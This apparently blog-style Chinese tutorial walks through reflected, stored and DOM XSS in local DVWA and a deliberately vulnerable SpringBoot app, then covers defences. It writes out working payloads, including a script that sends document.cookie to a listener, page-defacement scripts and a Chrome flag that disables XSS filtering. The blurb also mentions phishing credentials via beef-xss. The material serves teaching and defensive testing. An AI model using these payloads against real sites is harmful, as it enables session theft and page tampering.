
简介围绕Web应用安全中XSS跨站脚本攻击的实操实验文档面向网络安全专业学生、渗透测试新手及CTF爱好者。文档以beef-xss框架为主线从Kali环境与PHPStudy环境准备入手演示在pikachu靶场留言板注入恶意脚本、模拟用户登录后被远程控制的过程。攻击环节覆盖页面重定向到百度、社会工程学弹窗账户登录过期诱骗重新输入账号密码并成功在beef后台截获明文凭证附加题进一步引导Cookie窃取、键盘记录、屏幕截图等扩展利用。压缩包仅包含1个docx文件约914KB内含明确的实验目的、操作步骤与结果分析可直接作为实验报告底稿或教学案例。已有541人学习适合通过动手复现快速建立对XSS攻击链路和浏览器控制手法的系统认知。1. 这个实验到底在训练什么不是弹窗是“页面被篡改”的完整链路很多人在 XSS 实验里弹出一个alert(1)就收工了觉得“不就是执行了个 JS 嘛”。但如果你把这个实验的定位落在“篡改页面”上思路就完全不一样了攻击者不满足于弹窗他要让浏览器把原本信任的页面内容换掉——把商品价格改成 1 分钱、把登录表单的提交地址改到自己的服务器、把页面上显示的“已实名认证”状态改成“未认证”。能做到这些才叫真正利用了 XSS。这个实验的价值在于它把 Web 应用安全里最容易被低估的一条攻击路径完整复现出来服务端把用户输入当作了页面内容的一部分原样输出浏览器又无条件信任了服务端返回的 HTML。两端的信任链同时断裂页面就被改了。适合的人群很明确刚接触 Web 安全的开发者和测试人员尤其是那些写前端页面、做接口对接、维护 CMS 或后台管理系统的工程师。你不需要是渗透测试专家只要能在本地跑起一个靶场就能把反射型、存储型、DOM 型三种 XSS 的篡改效果全部亲手做一遍。下面我从环境搭建讲起一直到防御修复全程按可复现的实验来写。2. 搭一套本地 XSS 实验环境选型理由与两条最快路径做 XSS 实验最忌惮的就是拿线上站点练手那是违法的。本地靶场是唯一正确起点。常见做法是用 DVWADamn Vulnerable Web Application这类自带漏洞的靶场项目二三十秒就能启动起来如果你想看真实业务代码怎么被攻破也可以自己写一个带漏洞的 SpringBoot 小应用。2.1 为什么选 DVWA 而不是自己从零写漏洞DVWA 这台靶机是 Web 安全从业者默认的“实验台”它内置了反射型、存储型、DOM 型 XSS 的完整场景而且每种漏洞都划分了 Low、Medium、High、Impossible 四个安全等级。这四个等级的价值在于它们把“代码怎么写才不安全”到“怎么写才安全”的过程摆在了同一个页面上。你可以在 Low 级别看到最原始的漏洞代码再逐级提高难度看防御措施如何一步步加码。选 DVWA 的另一个原因是 Docker 化非常成熟不需要在宿主机里装 PHP、MySQL、Apache 这些依赖。你只需要 Docker 环境拉一个镜像映射端口初始化数据库就得到一台完整的带漏洞的 Web 应用。整个过程不会超过三分钟。2.2 用 Docker 跑起 DVWA具体命令与初始化步骤先确认 Docker 已安装然后执行docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa这个命令的参数含义-d让容器在后台运行避免终端被阻塞-p 8080:80把宿主机 8080 端口映射到容器的 80 端口浏览器访问http://localhost:8080即可进入 DVWA--name dvwa给容器命名方便后续启停vulnerables/web-dvwa是这个实验最常用的社区镜像名如果你拉取较慢可以先配置 Docker 镜像加速器容器启动后访问http://localhost:8080默认账号是admin密码是password。登录后第一件事是点击页面下方的Create/Reset Database按钮初始化数据库镜像首次启动时配置文件和数据库是分离的不点这一步XSS 页面会一直报数据库错误。初始化完成后把Security Level调到 Low就可以开始实验。提示DVWA 的所有实验都是合法的它只监听本地端口不会对互联网发起任何请求适合作为学习工具。2.3 自写一个带漏洞的 SpringBoot 应用贴近真实业务场景DVWA 是 PHP 生态而国内很多读者平时工作在 Java 技术栈上尤其是 SpringBoot 项目。一旦遇到 XSS 相关问题你要在RequestParam接收参数、模板引擎渲染页面之间找问题DVWA 的 PHP 代码参考价值就打了折扣。我一般会再花十分钟写一个最小的 SpringBoot 漏洞应用专门用来观察 Java Web 里的 XSS 篡改链路。只需要一个 Controller 和一个 Thymeleaf 模板Controller public class XssLabController { GetMapping(/hello) public String hello(RequestParam(name) String name, Model model) { model.addAttribute(name, name); return hello; } }!DOCTYPE html html xmlns:thhttp://www.thymeleaf.org body h1欢迎span th:text${name}匿名用户/span/h1 button onclicksubmit()提交/button /body /html这段代码的问题在于th:text默认会做 HTML 转义script会被转成lt;scriptgt;直接攻击是弹不出来的。真正的漏洞版本要改成th:utexth1欢迎span th:utext${name}匿名用户/span/h1th:utext表示“不转义输出”服务端把用户输入的img srcx onerroralert(1)原样写进 HTML浏览器解析时就执行了。我把这个反例放在这里是想说明一点XSS 漏洞很少是“代码写错了”更多时候是“少写了一层转义”。你在自写实验应用时刻意用一个utext就能复现篡改然后把它改成text再看效果就能直观理解输出编码的作用。3. 反射型 XSS 篡改页面从 URL 注入到页面回显的完整实验反射型 XSS 是最容易理解的一种篡改方式用户把带着恶意参数的链接发给受害者受害者点击后请求到达服务器服务器把参数拼在响应里返回浏览器执行了夹带的脚本页面内容被当场篡改。3.1 反射型 XSS 的篡改链路四个关键节点反射型 XSS 之所以叫“反射”是因为恶意代码不在服务器上存储它只是“路过”了服务器一次。完整链路是这样的攻击者构造 URL比如http://target/page?namescript.../script受害者点击链接浏览器向服务器发起请求服务器接收到name参数未做过滤就拼进 HTML 响应浏览器解析响应把script当作代码执行页面 DOM 被修改第 3 步是漏洞根源第 4 步是篡改发生的地方。如果服务器做了输出编码变成lt;浏览器会把整段内容当纯文本渲染攻击就失败了。所以实验的核心是观察“哪一步少做了什么”。3.2 DVWA 反射型 XSS 的低等级实验三步复现篡改把 DVWA 的 Security Level 调到 Low进入XSS(Reflected)页面在输入框里提交一个名字先用正常值test试试观察 URL 变化你会看到页面 URL 变成了http://localhost:8080/vulnerabilities/xss_r/?nametest页面里出现 “Hello test”。现在把参数替换成带攻击载荷的内容完整 URL 是http://localhost:8080/vulnerabilities/xss_r/?namescriptdocument.querySelector(h1).innerText页面已被篡改;/script输入后回车页面标题下方的 “Hello” 后面不再是你的输入内容而是变成了“页面已被篡改”。这是最轻量级的篡改演示脚本直接抓到了页面里的h1元素并改写了它的文字。比弹窗更能说明问题——攻击者不是要打扰你是要控制你看到的页面内容。把 URL 里的载荷再升级一下改成窃取 cookiescriptnew Image().srchttp://127.0.0.1:9999/steal?cdocument.cookie;/script这句脚本的逻辑是创建一个Image对象把它的src指向本地监听服务的地址并把document.cookie作为查询参数拼接进去。浏览器加载图片时会发起 GET 请求等于把 cookie 发送给了攻击者。3.3 反射型 XSS 的参数细节为什么 URL 编码不能省把上面的载荷复制到地址栏时会发现浏览器可能把、等字符自动转成了%3C、%3E。这是浏览器在帮你做 URL 编码属于传输层转义不代表服务器收到后也是编码形态。服务器解析 URL 参数时会自动反转回来把script原样交给后端代码。但有一个容易被忽略的坑如果浏览器地址栏里的中文或特殊字符出现了“二次编码”比如%被编码成%25传到你手里的参数就变了。所以做反射型 XSS 实验时我建议你直接手写完整 URL 并黏贴到新标签页打开不要在地址栏里边写边让浏览器自动补全否则你看到的输出跟漏洞触发的实际形态可能不一样。DVWA 的 Medium 等级会对$_REQUEST[name]做str_replace过滤把script替换成空字符串。这时候scriptalert(1)/script会变成alert(1)仍然能利用说明黑名单过滤永远存在绕过路径。这个细节在后面避坑章还会继续展开。4. 存储型与 DOM 型 XSS 篡改页面两条更“阴”的路径反射型 XSS 需要受害者点链接你得把恶意 URL 发给对方对方不点击就永远触发不了。存储型 XSS 和 DOM 型 XSS 才是真正让安全工程师头疼的前者把恶意代码写进数据库后者直接在浏览器端改写页面不需要经过服务器回传。这两条路径的“篡改”效果比反射型更持久、更难发现。4.1 存储型 XSS 实验在留言板里植入持久篡改DVWA 的XSS(Stored)页面模拟的是一个留言板。正常用户提交一条留言内容显示在页面底部刷新后依然存在。这条留言被写进了数据库每次有人打开页面服务器都会从数据库里取出这条记录并拼进 HTML。在 Low 等级下往消息框里填scriptdocument.querySelectorAll(.vulnerable_code_area)[0].innerHTMLh1 colorred本站已被破/h1;/script提交后刷新页面整个漏洞演示区域都被替换成了那行红色大字。这不是你的浏览器被攻击了而是所有访问这个页面的用户都会看到同样的篡改结果。存储型 XSS 的“篡改”是持久化的一次注入持续生效。你可能会好奇留言内容存在数据库里为什么叫“篡改页面”而不是“篡改数据”。原因是攻击者并没有直接修改数据库他修改的是数据库里的一条普通文本记录只是这段文本在输出时被浏览器当成了可执行代码。数据库里存的script字符串本身没有危害危害发生在它被渲染成 HTML 的那一瞬间。这就是为什么很多防御方案都聚焦在“输出编码”而不是“过滤输入”——输入过滤能挡住已知的script但挡不住svg onload...、img srcx onerror...这些避开关键词的载荷。4.2 DOM 型 XSS 实验篡改发生在浏览器内部服务端毫无感知DOM 型 XSS 是三类 XSS 里最反直觉的服务器返回的 HTML 是完全正常的没有任何恶意内容漏洞出在页面自带的 JavaScript 代码在取值后直接操作了 DOM而取值来源是 URL 的片段标识符location.hash或查询参数。DVWA 的XSS(DOM)页面里有一段前端逻辑它读取 URL 中的default参数用document.write把它写到页面上。构造如下 URLhttp://localhost:8080/vulnerabilities/xss_d/?defaultscriptdocument.body.style.backgroundblack;/script你会发现页面背景变黑。打开浏览器开发者工具的 Network 面板你看到的响应 HTML 里根本没有包含这段脚本——它是在前端 JavaScript 执行时被写入 DOM 的。也就是说篡改行为完全发生在浏览器端服务器日志里记录的只有一次正常的GET /vulnerabilities/xss_d/请求。DOM 型 XSS 在真实业务里最常见的落点有三个URL 参数驱动的 SPA 路由、从location.hash读取值的分享页、从localStorage取数据后直接拼接 HTML 的组件逻辑。这类漏洞的排查难度比反射型高一个数量级因为你按“查找用户输入→查找输出”的思路去追输入源是前端脚本里的全局对象根本不在服务端代码里。ctfshow 这类 CTF 平台上的 DOM 型 XSS 题目核心考点也是让选手在浏览器控制台里逆向分析前端代码找出哪个变量被innerHTML赋值了。一个更接近业务场景的实验很多老系统喜欢用location.hash做前端路由的主题切换代码长这样const theme location.hash.split(#)[1]; document.getElementById(themeText).innerHTML 当前主题 theme;这段代码在地址栏输入http://localhost:8080/page#img srcx onerroralert(document.cookie)location.hash取到的值就是img srcx onerroralert(document.cookie)拼接后赋给innerHTML脚本执行。注意这里没有经过任何服务器端渲染所以 WAF、服务端过滤器全都看不住这个篡改。DOM 型 XSS 在 DVWA 里有个特点刷新浏览器页面后location.hash并不会被重新读取hash 改变不会导致重新加载所以你每次修改 URL 里的 hash 都要手动按一次回车或者刷新页面否则页面不会变化。这是个容易让新手误判“为什么不生效”的小细节。4.3 三种 XSS 的篡改能力对比维度反射型 XSS存储型 XSSDOM 型 XSS恶意代码存储位置不存储仅在请求响应中存储在服务器数据库不出服务器完全在前端篡改触发条件受害者点击构造的 URL受害者访问含恶意内容的页面受害者点开构造的 URL 片段危害持久度一次性URL 失效即结束持久直至内容被删除随页面 JS 生命周期存在排查难度中URL 参数可追溯低数据库一看便知高服务端代码完全看不到典型应用场景搜索页回显、错误提示评论区、留言本、签名档前端路由、主题切换、剪贴板处理值得强调的是实际攻击中这三种类型经常组合使用。攻击者可能在留言板存入一段 JavaScript这段脚本读取当前 URL 的参数来决定执行什么攻击动作——存储型保证了入口的持久性DOM 型增加了流量检测的难度。做实验时别把三者的边界想死了。5. XSS 实验避坑记五个经常让新手翻车的细节这部分内容基本是血泪经验汇总每一条我都自己踩过。按“现象→原因→解决”的方式记录排查问题时会非常顺手。5.1 浏览器拦截Chrome 的 XSS Auditor 不让脚本执行现象把反射型 XSS 载荷拼进 URL 后页面显示一片空白没有任何弹窗控制台出现Refused to execute a JavaScript script. Source code of script found within request...的报错。原因Chrome 内置了 XSS Auditor 机制它对“请求参数里含脚本 响应体里也出现同样脚本”的特征做了拦截。反射型 XSS 正好命中这个特征浏览器直接终止了脚本执行。解决这是浏览器安全机制的正常反应不是实验环境坏了。解决办法是在浏览器启动参数里临时禁用该机制以 Chrome 为例chrome --disable-xss-auditor如果用的是 Edge它内核与 Chrome 一致同样支持这个参数。要注意的是修改浏览器启动参数前先关闭已打开的浏览器实例否则新参数不会生效。禁用后重新加载实验页面脚本就能正常执行。真实场景里不能指望所有受害者的浏览器都禁用这个机制但在本地实验阶段这就是必须关掉的拦路虎。5.2 页面源码里看到script但就是不执行现象在浏览器“查看源代码”里能清楚看到scriptalert(1)/script原样躺在 HTML 里可页面就是弹不出框。原因服务器做了输出编码把所有转成了lt;gt;。你在源代码里看到的已经是转义后的形态——浏览器把它当纯文本渲染而“查看源代码”又把转义后的实体当作实体来解释所以你看到的字面还是script。解决用开发者工具检查这个元素的textContent和innerHTML明确当前浏览器实际解析出的 DOM 状态。如果innerHTML显示的是lt;scriptgt;说明输出编码生效了注入没有成功。这也是验证 XSS 是否真正触发的可靠方法别只看源码要看解析后的 DOM。5.3 DOM 型 XSS 里改了 URL 但页面没反应现象按实验讲义修改location.hash里的载荷页面纹丝不动刷新也不行。原因DOM 型 XSS 的触发时机依赖脚本逻辑。常见情况是页面加载时读取并处理location.hash的函数只执行一次此后修改location.hash不会触发重新加载所以页面不会更新。解决在地址栏里修改 URL 后按回车或者在控制台手动执行一次入口函数。还有一种更隐蔽的情况location.hash取到的值是以#开头如果你的代码里做了split(#)载荷放在#后面会被截断。排查步骤是先在控制台执行console.log(location.hash)确认实际拿到的值里有没有完整载荷再去看取值逻辑。5.4 黑名单过滤被绕过script被删了还能弹窗现象Medium 等级的 DVWA 把script字符串替换成空你提交scriptalert(1)/script后只得到alert(1)页面显示的文字被拼接了。你以为攻击失败但页面其实已经进入了“被篡改”的前奏。原因黑名单过滤只针对script精确匹配攻击者换一种载荷就能绕过。比如img srcx onerroralert(1)里根本没有script字符过滤器完全失效。更狡猾的玩法是大小写混写ScRiPt或利用浏览器解析的容错性写script/ srcx。解决做实验时别只测script把img onerror、svg onload、body onfocus都试一遍你会发现黑名单在 XSS 面前基本是纸糊的。写作上也提醒一点开发里不要用“过滤黑名单关键词”作为防御方式只有输出编码加白名单才是可靠底线。5.5 实验后缓存残留让你误判防御代码失效现象按防御教程给模板加了th:text或htmlspecialchars之后重新提交攻击载荷还是被篡改怀疑防御没生效。原因浏览器把带漏洞的页面缓存了刷新时直接命中本地缓存根本没有向服务器发新请求。你的防御代码改了服务器端但客户端拿到的仍是旧的带漏洞页面。解决每次改完服务端代码后强制刷新页面Mac 下按CmdShiftRWindows/Linux 按CtrlShiftR清除该站点的缓存和 cookie。更彻底的做法是使用浏览器的无痕模式做实验它的默认策略更接近全新访客不受历史缓存影响。这条看起来简单实际是排查“改了没效果”的翻车原因里排前三的一个。6. 把篡改堵回去输出编码、CSP 与一个可直接落地的过滤器方案实验做完了页面被篡改的链路从头到尾都走通了接下来要回答的问题只有一个这段危害怎么修。防御体系优先级从高到低排列是输出编码、CSP、HttpOnly、输入白名单过滤。这里我挑三个能立即落地的做法展开讲。6.1 统一输出编码一个模板函数解决 80% 的反射型篡改反射型 XSS 的本质是服务端把参数原样写进 HTML。防御思路最简单所有动态内容输出前统一编码。在 SpringBoot 里Thymeleaf 的th:text就是默认开启转义的改回th:text后script渲染成可见的文本实体攻击直接失效。问题是很多团队为了展示富文本大量使用th:utext或v-html这类“安全后门”开得越多风险越大。健壮的做法是给模板引擎配置全局输出处理器对所有没有明确白名单标签的文本执行转义。如果必须允许富文本则用白名单过滤库——只放行预先定义的标签和属性其他一律剥离。这两条配合起来反射型的篡改路径基本就堵死了。6.2 SpringBoot 全局过滤器处理上传 PDF 文件时携带的 XSS 载荷项目里有个常见诉求用户上传 PDF 文件文件名里被插入了script之类的载荷导致前端展示文件列表时弹窗。这个场景的难点在于XSS 可能藏在文件名、文件元数据、PDF 预览页面的参数里而过滤器在处理文件流时会遇到性能瓶颈。常规做法是写一个全局过滤器在 HTTP 请求进入 Controller 之前先清洗参数。下面的过滤器只处理表单参数和查询参数不处理上传流避免大文件读取导致的内存问题Component public class XssFilter implements Filter { Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req (HttpServletRequest) request; // 包装请求覆盖 getParameter 和 getParameterValues 方法 chain.doFilter(new XssHttpServletRequestWrapper(req), response); } }public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); } Override public String getParameter(String name) { String value super.getParameter(name); return clean(value); } Override public String[] getParameterValues(String name) { String[] values super.getParameterValues(name); if (values null) { return null; } for (int i 0; i values.length; i) { values[i] clean(values[i]); } return values; } private String clean(String value) { return value null ? null : value.replaceAll((?i)script.*?.*?/script, ) .replaceAll((?i)on\\w\\s*\\s*[\]?[^\], ); } }这段代码的逻辑是XssFilter拦截所有请求并传入一个包装后的HttpServletRequestWrapper这个包装类重写了getParameter和getParameterValues对所有参数值执行两条正则清洗——移除script标签整体以及移除onclick、onerror这类事件属性。需要注意这里的正则只是实验级别的兜底不是生产级方案。生产环境就应该用 OWASP Java HTML Sanitizer 这类的白名单库而不是靠正则拼黑名单。过滤器方案写得越简单越容易有绕过比如属性里写java#x73;cript:加 HTML 实体编码就能让正则失效。上文的代码适合做你项目里的第一道闸真正的底线是服务端的输出编码和模板转义。6.3 验证防御是否生效用脚本自动化“攻击—修复—复测”闭环手工验证 XSS 防御效果的低效之处在于每改一次代码就要手动构造 URL、刷新页面、看弹窗。更可靠的方式是用 Python 脚本模拟请求直接比对响应内容里是否存在未编码的可执行脚本。思路是写一个简单的检测器遍历敏感参数提交各家载荷变体如果响应中出现了未转义的script或onerror就报告失败。import requests payloads [ scriptalert(1)/script, img srcx onerroralert(1), svg onloadalert(document.cookie), javascript:alert(1), ] urls_with_params [ http://localhost:8080/hello?name{payload}, http://localhost:8080/search?q{payload}, ] for url_template in urls_with_params: for payload in payloads: url url_template.format(payloadpayload) r requests.get(url, timeout5) if payload in r.text: print(f[FAIL] {url}\n - 未转义输出XSS 可能出现) else: print(f[PASS] {payload})这个脚本的判定原则很简单请求参数里的原始载荷如果原封不动地出现在响应 HTML 里说明输出没有编码漏洞还在如果找不到原始载荷说明它已被转义、过滤或截断当前这一条路径是安全的。要注意的是这个脚本只能验证“反射型”和“部分存储型”的输出问题——因为 DOM 型 XSS 不出现在服务端响应里脚本检测不到DOM 型只能靠浏览器端的自动化测试工具去覆盖。运行脚本后你大概率会遇到第一种结果name参数已修好但search参数又漏了。这说明防御动作不统一存在大量遗漏点。这时把“所有动态输出统一走编码函数”这件事推进代码规范里比修完一个再测一个要有效得多。回到最开始的问题XSS 实验的终点不是弹窗而是你真的理解了页面被篡改的完整链路——信任用户输入是今天 Web 应用里最大的坑之一。作为工程师我自己的习惯是每写完一个表单或接口都会顺手在测试代码里放进三条最基本的载荷跑一遍再提交合并请求。这不是为了显得专业而是因为苦头吃过太多次一次修复的成本永远比一轮线上事故低得多。希望这些实验步骤和踩坑记录能帮你在自己的项目里把这条链路尽早堵上。本文还有配套的精品资源点击获取